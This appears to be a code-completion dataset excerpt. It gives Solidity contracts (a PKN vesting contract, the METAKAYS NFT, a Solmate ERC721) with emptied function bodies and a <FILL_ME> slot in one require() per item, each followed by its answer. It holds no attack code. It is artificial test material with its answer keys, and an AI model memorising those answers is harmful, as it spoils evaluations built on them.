* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
contract PKNVesting is Ownable {
uint256 private constant ONE_MONTH = 30 days;
uint256 public immutable START_TIME;
uint256 public immutable DURATION_MONTHS;
uint256 public totalAllocations;
IERC20 public PKN;
struct Allocation {
uint256 amount;
uint256 amountClaimed;
uint256 monthsClaimed;
}
mapping (address => Allocation) public PKNAllocations;
constructor(address _PKN, uint256 _startTime, uint256 _numOfMonths) {
}
function getVestedAmount(address _recipient) public view returns(uint256 monthsVested, uint256 amountVested) {
}
function getAllocationDetails(address _recipient) external view returns(Allocation memory) {
}
function addAllocation(address[] calldata _recipients, uint256[] calldata _amounts) external onlyOwner {
require(_recipients.length == _amounts.length, "Invalid input lengths");
uint256 totalAmount = 0;
for (uint256 i = 0; i < _recipients.length; i++) {
totalAmount += _amounts[i];
_addAllocation(_recipients[i], _amounts[i]);
}
totalAllocations += _recipients.length;
require(<FILL_ME>)
}
function releaseVestedTokens() external {
}
function batchReleaseVestedTokens(address[] calldata _recipients) external {
}
// DOES NOT transfer PKN to the contract. Needs to be handled by the caller.
function _addAllocation(address _recipient, uint256 _amount) internal {
}
function _releaseVestedTokens(address _recipient) internal {
}
function _receivePKN(address from, uint256 amount) internal returns(uint256) {
}
function _currentTime() internal view returns(uint256) {
}
}
| _receivePKN(msg.sender,totalAmount)==totalAmount,"Recieved less PKN than transferred" | 260,500 | _receivePKN(msg.sender,totalAmount)==totalAmount |
"Allocation already exists" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
contract PKNVesting is Ownable {
uint256 private constant ONE_MONTH = 30 days;
uint256 public immutable START_TIME;
uint256 public immutable DURATION_MONTHS;
uint256 public totalAllocations;
IERC20 public PKN;
struct Allocation {
uint256 amount;
uint256 amountClaimed;
uint256 monthsClaimed;
}
mapping (address => Allocation) public PKNAllocations;
constructor(address _PKN, uint256 _startTime, uint256 _numOfMonths) {
}
function getVestedAmount(address _recipient) public view returns(uint256 monthsVested, uint256 amountVested) {
}
function getAllocationDetails(address _recipient) external view returns(Allocation memory) {
}
function addAllocation(address[] calldata _recipients, uint256[] calldata _amounts) external onlyOwner {
}
function releaseVestedTokens() external {
}
function batchReleaseVestedTokens(address[] calldata _recipients) external {
}
// DOES NOT transfer PKN to the contract. Needs to be handled by the caller.
function _addAllocation(address _recipient, uint256 _amount) internal {
require(<FILL_ME>)
require(_amount >= DURATION_MONTHS, "Amount too low");
Allocation memory allocation = Allocation({
amount: _amount,
amountClaimed: 0,
monthsClaimed: 0
});
PKNAllocations[_recipient] = allocation;
}
function _releaseVestedTokens(address _recipient) internal {
}
function _receivePKN(address from, uint256 amount) internal returns(uint256) {
}
function _currentTime() internal view returns(uint256) {
}
}
| PKNAllocations[_recipient].amount==0,"Allocation already exists" | 260,500 | PKNAllocations[_recipient].amount==0 |
"MAX SUPPLY!" | pragma solidity ^0.8.7;
interface IFeatures1 {
function readMisc(uint256 _id) external view returns (string memory);
}
contract METAKAYS is Ownable, ERC721, NonblockingReceiver {
using DynamicBuffer for bytes;
event Kustomized(uint256 _itemID);
struct Features {
uint256 data1;
uint256 data2;
uint256[4] colors;
uint256[3] colorSelectors;
}
IFeatures1 features1;
address public _owner;
uint256 nextTokenId = 0;
uint256 MAX_MINT_ETHEREUM = 8888;
uint gasForDestinationLzReceive = 350000;
bytes32 public _merkleRoot;
mapping(uint256 => Features) public features;
mapping (uint256 => string) public svgData;
mapping (uint256 => string) public svgBackgroundColor;
mapping (uint256 => uint256) public svgBackgroundColorSelector;
mapping (uint256 => bool) public finality;
mapping (string => bool) public taken;
mapping (address => bool) public whitelistClaimed;
constructor() ERC721("METAKAYS", "MK") {
}
// this is here for illustrative purposes -- you may ignore the onlyOwner isOwner on the functions
// keeping in for nostalgic/sentimental reasons
modifier isOwner(){
}
function setFeaturesAddress(address addr) external onlyOwner isOwner {
}
function setPresaleMerkleRoot(bytes32 root) external onlyOwner isOwner {
}
function getFeatures(uint256 _tokenId) public view returns(uint256 , uint256 , uint256[4] memory, uint256[3] memory) {
}
//minting any unclaimed.
function devMint(uint256 _amount) external onlyOwner isOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < _amount; i++) {
_safeMint(msg.sender, ++nextTokenId);
}
}
function setFinality(uint256 _itemID) public {
}
function whitelistClaim(uint256 _amount, bytes32[] calldata _merkleProof) external payable {
}
// this function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint tokenId) public payable {
}
// here for donations or accidents
function withdraw(uint amt) external onlyOwner isOwner {
}
function kustomize(uint256 _data1, uint256 _data2, uint256[4] memory _colors, uint256[3] memory _colorSelectors, uint256 _itemID) public {
}
function kustomizeBackground(uint256 _data1, uint256 _itemID) public {
}
function getSVG(uint256 _tokenId) public view returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
// had math here but 30M limit had different plans for us
// please ignore any ugliness
function CREATE(bytes memory artData, bytes memory colorData, bytes memory colorData2, uint256 color1, uint256 color2, uint256 color3) internal view returns (string memory) {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint newVal) external onlyOwner isOwner {
}
function toString(uint256 value) internal pure returns (string memory) {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) internal override {
}
}
| nextTokenId+_amount<=MAX_MINT_ETHEREUM,"MAX SUPPLY!" | 260,511 | nextTokenId+_amount<=MAX_MINT_ETHEREUM |
"ALREADY IN FINALITY!" | pragma solidity ^0.8.7;
interface IFeatures1 {
function readMisc(uint256 _id) external view returns (string memory);
}
contract METAKAYS is Ownable, ERC721, NonblockingReceiver {
using DynamicBuffer for bytes;
event Kustomized(uint256 _itemID);
struct Features {
uint256 data1;
uint256 data2;
uint256[4] colors;
uint256[3] colorSelectors;
}
IFeatures1 features1;
address public _owner;
uint256 nextTokenId = 0;
uint256 MAX_MINT_ETHEREUM = 8888;
uint gasForDestinationLzReceive = 350000;
bytes32 public _merkleRoot;
mapping(uint256 => Features) public features;
mapping (uint256 => string) public svgData;
mapping (uint256 => string) public svgBackgroundColor;
mapping (uint256 => uint256) public svgBackgroundColorSelector;
mapping (uint256 => bool) public finality;
mapping (string => bool) public taken;
mapping (address => bool) public whitelistClaimed;
constructor() ERC721("METAKAYS", "MK") {
}
// this is here for illustrative purposes -- you may ignore the onlyOwner isOwner on the functions
// keeping in for nostalgic/sentimental reasons
modifier isOwner(){
}
function setFeaturesAddress(address addr) external onlyOwner isOwner {
}
function setPresaleMerkleRoot(bytes32 root) external onlyOwner isOwner {
}
function getFeatures(uint256 _tokenId) public view returns(uint256 , uint256 , uint256[4] memory, uint256[3] memory) {
}
//minting any unclaimed.
function devMint(uint256 _amount) external onlyOwner isOwner {
}
function setFinality(uint256 _itemID) public {
require(msg.sender == ownerOf(_itemID), "YOU ARE NOT THE OWNER!");
require(<FILL_ME>)
Features memory feature = features[_itemID];
bytes memory output = abi.encodePacked(feature.data1, feature.data2, feature.colors[0], feature.colors[1], feature.colors[2], feature.colors[3]);
require(taken[string(output)] == false, "THIS IS ALREADY TAKEN!");
finality[_itemID] = true;
taken[string(output)] = true;
}
function whitelistClaim(uint256 _amount, bytes32[] calldata _merkleProof) external payable {
}
// this function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint tokenId) public payable {
}
// here for donations or accidents
function withdraw(uint amt) external onlyOwner isOwner {
}
function kustomize(uint256 _data1, uint256 _data2, uint256[4] memory _colors, uint256[3] memory _colorSelectors, uint256 _itemID) public {
}
function kustomizeBackground(uint256 _data1, uint256 _itemID) public {
}
function getSVG(uint256 _tokenId) public view returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
// had math here but 30M limit had different plans for us
// please ignore any ugliness
function CREATE(bytes memory artData, bytes memory colorData, bytes memory colorData2, uint256 color1, uint256 color2, uint256 color3) internal view returns (string memory) {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint newVal) external onlyOwner isOwner {
}
function toString(uint256 value) internal pure returns (string memory) {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) internal override {
}
}
| finality[_itemID]==false,"ALREADY IN FINALITY!" | 260,511 | finality[_itemID]==false |
"THIS IS ALREADY TAKEN!" | pragma solidity ^0.8.7;
interface IFeatures1 {
function readMisc(uint256 _id) external view returns (string memory);
}
contract METAKAYS is Ownable, ERC721, NonblockingReceiver {
using DynamicBuffer for bytes;
event Kustomized(uint256 _itemID);
struct Features {
uint256 data1;
uint256 data2;
uint256[4] colors;
uint256[3] colorSelectors;
}
IFeatures1 features1;
address public _owner;
uint256 nextTokenId = 0;
uint256 MAX_MINT_ETHEREUM = 8888;
uint gasForDestinationLzReceive = 350000;
bytes32 public _merkleRoot;
mapping(uint256 => Features) public features;
mapping (uint256 => string) public svgData;
mapping (uint256 => string) public svgBackgroundColor;
mapping (uint256 => uint256) public svgBackgroundColorSelector;
mapping (uint256 => bool) public finality;
mapping (string => bool) public taken;
mapping (address => bool) public whitelistClaimed;
constructor() ERC721("METAKAYS", "MK") {
}
// this is here for illustrative purposes -- you may ignore the onlyOwner isOwner on the functions
// keeping in for nostalgic/sentimental reasons
modifier isOwner(){
}
function setFeaturesAddress(address addr) external onlyOwner isOwner {
}
function setPresaleMerkleRoot(bytes32 root) external onlyOwner isOwner {
}
function getFeatures(uint256 _tokenId) public view returns(uint256 , uint256 , uint256[4] memory, uint256[3] memory) {
}
//minting any unclaimed.
function devMint(uint256 _amount) external onlyOwner isOwner {
}
function setFinality(uint256 _itemID) public {
require(msg.sender == ownerOf(_itemID), "YOU ARE NOT THE OWNER!");
require(finality[_itemID] == false, "ALREADY IN FINALITY!");
Features memory feature = features[_itemID];
bytes memory output = abi.encodePacked(feature.data1, feature.data2, feature.colors[0], feature.colors[1], feature.colors[2], feature.colors[3]);
require(<FILL_ME>)
finality[_itemID] = true;
taken[string(output)] = true;
}
function whitelistClaim(uint256 _amount, bytes32[] calldata _merkleProof) external payable {
}
// this function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint tokenId) public payable {
}
// here for donations or accidents
function withdraw(uint amt) external onlyOwner isOwner {
}
function kustomize(uint256 _data1, uint256 _data2, uint256[4] memory _colors, uint256[3] memory _colorSelectors, uint256 _itemID) public {
}
function kustomizeBackground(uint256 _data1, uint256 _itemID) public {
}
function getSVG(uint256 _tokenId) public view returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
// had math here but 30M limit had different plans for us
// please ignore any ugliness
function CREATE(bytes memory artData, bytes memory colorData, bytes memory colorData2, uint256 color1, uint256 color2, uint256 color3) internal view returns (string memory) {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint newVal) external onlyOwner isOwner {
}
function toString(uint256 value) internal pure returns (string memory) {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) internal override {
}
}
| taken[string(output)]==false,"THIS IS ALREADY TAKEN!" | 260,511 | taken[string(output)]==false |
"ONLY NON-FINALITY CAN TRAVERSE!" | pragma solidity ^0.8.7;
interface IFeatures1 {
function readMisc(uint256 _id) external view returns (string memory);
}
contract METAKAYS is Ownable, ERC721, NonblockingReceiver {
using DynamicBuffer for bytes;
event Kustomized(uint256 _itemID);
struct Features {
uint256 data1;
uint256 data2;
uint256[4] colors;
uint256[3] colorSelectors;
}
IFeatures1 features1;
address public _owner;
uint256 nextTokenId = 0;
uint256 MAX_MINT_ETHEREUM = 8888;
uint gasForDestinationLzReceive = 350000;
bytes32 public _merkleRoot;
mapping(uint256 => Features) public features;
mapping (uint256 => string) public svgData;
mapping (uint256 => string) public svgBackgroundColor;
mapping (uint256 => uint256) public svgBackgroundColorSelector;
mapping (uint256 => bool) public finality;
mapping (string => bool) public taken;
mapping (address => bool) public whitelistClaimed;
constructor() ERC721("METAKAYS", "MK") {
}
// this is here for illustrative purposes -- you may ignore the onlyOwner isOwner on the functions
// keeping in for nostalgic/sentimental reasons
modifier isOwner(){
}
function setFeaturesAddress(address addr) external onlyOwner isOwner {
}
function setPresaleMerkleRoot(bytes32 root) external onlyOwner isOwner {
}
function getFeatures(uint256 _tokenId) public view returns(uint256 , uint256 , uint256[4] memory, uint256[3] memory) {
}
//minting any unclaimed.
function devMint(uint256 _amount) external onlyOwner isOwner {
}
function setFinality(uint256 _itemID) public {
}
function whitelistClaim(uint256 _amount, bytes32[] calldata _merkleProof) external payable {
}
// this function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint tokenId) public payable {
require(msg.sender == ownerOf(tokenId), "You must own the token to traverse");
require(trustedRemoteLookup[_chainId].length > 0, "This chain is currently unavailable for travel");
require(<FILL_ME>)
// burn NFT, eliminating it from circulation on src chain
_burn(tokenId);
// abi.encode() the payload with the values to send
bytes memory payload = abi.encode(msg.sender, tokenId);
// encode adapterParams to specify more gas for the destination
uint16 version = 1;
bytes memory adapterParams = abi.encodePacked(version, gasForDestinationLzReceive);
// get the fees we need to pay to LayerZero + Relayer to cover message delivery
// you will be refunded for extra gas paid
(uint messageFee, ) = endpoint.estimateFees(_chainId, address(this), payload, false, adapterParams);
require(msg.value >= messageFee, "msg.value not enough to cover messageFee. Send gas for message fees");
endpoint.send{value: msg.value}(
_chainId, // destination chainId
trustedRemoteLookup[_chainId], // destination address of nft contract
payload, // abi.encoded()'ed bytes
payable(msg.sender), // refund address
address(0x0), // 'zroPaymentAddress' unused for this
adapterParams // txParameters
);
}
// here for donations or accidents
function withdraw(uint amt) external onlyOwner isOwner {
}
function kustomize(uint256 _data1, uint256 _data2, uint256[4] memory _colors, uint256[3] memory _colorSelectors, uint256 _itemID) public {
}
function kustomizeBackground(uint256 _data1, uint256 _itemID) public {
}
function getSVG(uint256 _tokenId) public view returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
// had math here but 30M limit had different plans for us
// please ignore any ugliness
function CREATE(bytes memory artData, bytes memory colorData, bytes memory colorData2, uint256 color1, uint256 color2, uint256 color3) internal view returns (string memory) {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint newVal) external onlyOwner isOwner {
}
function toString(uint256 value) internal pure returns (string memory) {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) internal override {
}
}
| finality[tokenId]==false,"ONLY NON-FINALITY CAN TRAVERSE!" | 260,511 | finality[tokenId]==false |
"NO SUCH COLOR!" | pragma solidity ^0.8.7;
interface IFeatures1 {
function readMisc(uint256 _id) external view returns (string memory);
}
contract METAKAYS is Ownable, ERC721, NonblockingReceiver {
using DynamicBuffer for bytes;
event Kustomized(uint256 _itemID);
struct Features {
uint256 data1;
uint256 data2;
uint256[4] colors;
uint256[3] colorSelectors;
}
IFeatures1 features1;
address public _owner;
uint256 nextTokenId = 0;
uint256 MAX_MINT_ETHEREUM = 8888;
uint gasForDestinationLzReceive = 350000;
bytes32 public _merkleRoot;
mapping(uint256 => Features) public features;
mapping (uint256 => string) public svgData;
mapping (uint256 => string) public svgBackgroundColor;
mapping (uint256 => uint256) public svgBackgroundColorSelector;
mapping (uint256 => bool) public finality;
mapping (string => bool) public taken;
mapping (address => bool) public whitelistClaimed;
constructor() ERC721("METAKAYS", "MK") {
}
// this is here for illustrative purposes -- you may ignore the onlyOwner isOwner on the functions
// keeping in for nostalgic/sentimental reasons
modifier isOwner(){
}
function setFeaturesAddress(address addr) external onlyOwner isOwner {
}
function setPresaleMerkleRoot(bytes32 root) external onlyOwner isOwner {
}
function getFeatures(uint256 _tokenId) public view returns(uint256 , uint256 , uint256[4] memory, uint256[3] memory) {
}
//minting any unclaimed.
function devMint(uint256 _amount) external onlyOwner isOwner {
}
function setFinality(uint256 _itemID) public {
}
function whitelistClaim(uint256 _amount, bytes32[] calldata _merkleProof) external payable {
}
// this function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint tokenId) public payable {
}
// here for donations or accidents
function withdraw(uint amt) external onlyOwner isOwner {
}
function kustomize(uint256 _data1, uint256 _data2, uint256[4] memory _colors, uint256[3] memory _colorSelectors, uint256 _itemID) public {
require(msg.sender == ownerOf(_itemID), "YOU ARE NOT THE OWNER!");
require(finality[_itemID] == false, "ONLY NON-FINALITY CAN KUSTOMIZE!");
require(<FILL_ME>)
Features storage feature = features[_itemID];
feature.data1 = _data1;
feature.data2 = _data2;
feature.colors = _colors;
feature.colorSelectors = _colorSelectors;
emit Kustomized(_itemID);
}
function kustomizeBackground(uint256 _data1, uint256 _itemID) public {
}
function getSVG(uint256 _tokenId) public view returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
// had math here but 30M limit had different plans for us
// please ignore any ugliness
function CREATE(bytes memory artData, bytes memory colorData, bytes memory colorData2, uint256 color1, uint256 color2, uint256 color3) internal view returns (string memory) {
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint newVal) external onlyOwner isOwner {
}
function toString(uint256 value) internal pure returns (string memory) {
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) internal override {
}
}
| (_colorSelectors[0]<138)&&(_colorSelectors[1]<138)&&(_colorSelectors[2]<138),"NO SUCH COLOR!" | 260,511 | (_colorSelectors[0]<138)&&(_colorSelectors[1]<138)&&(_colorSelectors[2]<138) |
"UNSAFE_RECIPIENT" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
abstract contract ERC721 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*//////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) external view virtual returns (string memory);
/*//////////////////////////////////////////////////////////////
ERC721 BALANCE/OWNER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(uint256 => address) internal _ownerOf;
mapping(address => uint256) internal _balanceOf;
function ownerOf(uint256 id) public view virtual returns (address owner) {
}
function balanceOf(address owner) public view virtual returns (uint256) {
}
/*//////////////////////////////////////////////////////////////
ERC721 APPROVAL STORAGE
//////////////////////////////////////////////////////////////*/
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*//////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
}
function setApprovalForAll(address operator, bool approved) public virtual {
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
transferFrom(from, to, id);
if (to.code.length != 0)
require(<FILL_ME>)
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes calldata data
) public virtual {
}
/*//////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
}
function _burn(uint256 id) internal virtual {
}
/*//////////////////////////////////////////////////////////////
INTERNAL SAFE MINT LOGIC
//////////////////////////////////////////////////////////////*/
function _safeMint(address to, uint256 id) internal virtual {
}
function _safeMint(
address to,
uint256 id,
bytes memory data
) internal virtual {
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
abstract contract ERC721TokenReceiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external virtual returns (bytes4) {
}
}
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
}
}
interface IENS {
function resolver(bytes32 node) external view returns (IResolver);
}
interface IResolver {
function addr(bytes32 node) external view returns (address);
}
interface IENSReverseRegistrar {
function setName(string calldata name) external;
}
/// @author 0age
contract _0_ is ERC721 {
uint256 public constant totalSupply = 64;
IENS private constant ens = IENS(
0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e
);
bytes32 private immutable authorNode;
constructor() ERC721(unicode"⬛🟩⬛", unicode"⬛🟩⬛") {
}
function author() public view returns (address account) {
}
function mint(uint256[] calldata ids) external returns (bool) {
}
function imageLocation() public pure returns (string memory) {
}
function tokenURI(uint256 id) external view override returns (string memory) {
}
function contractURI() external pure returns (string memory) {
}
function _toString(uint256 value) internal pure returns (string memory) {
}
}
| ERC721TokenReceiver(to).onERC721Received(msg.sender,from,id,"")==ERC721TokenReceiver.onERC721Received.selector,"UNSAFE_RECIPIENT" | 260,536 | ERC721TokenReceiver(to).onERC721Received(msg.sender,from,id,"")==ERC721TokenReceiver.onERC721Received.selector |
"UNSAFE_RECIPIENT" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
abstract contract ERC721 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*//////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) external view virtual returns (string memory);
/*//////////////////////////////////////////////////////////////
ERC721 BALANCE/OWNER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(uint256 => address) internal _ownerOf;
mapping(address => uint256) internal _balanceOf;
function ownerOf(uint256 id) public view virtual returns (address owner) {
}
function balanceOf(address owner) public view virtual returns (uint256) {
}
/*//////////////////////////////////////////////////////////////
ERC721 APPROVAL STORAGE
//////////////////////////////////////////////////////////////*/
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*//////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
}
function setApprovalForAll(address operator, bool approved) public virtual {
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes calldata data
) public virtual {
transferFrom(from, to, id);
if (to.code.length != 0)
require(<FILL_ME>)
}
/*//////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
}
function _burn(uint256 id) internal virtual {
}
/*//////////////////////////////////////////////////////////////
INTERNAL SAFE MINT LOGIC
//////////////////////////////////////////////////////////////*/
function _safeMint(address to, uint256 id) internal virtual {
}
function _safeMint(
address to,
uint256 id,
bytes memory data
) internal virtual {
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
abstract contract ERC721TokenReceiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external virtual returns (bytes4) {
}
}
/// @title Base64
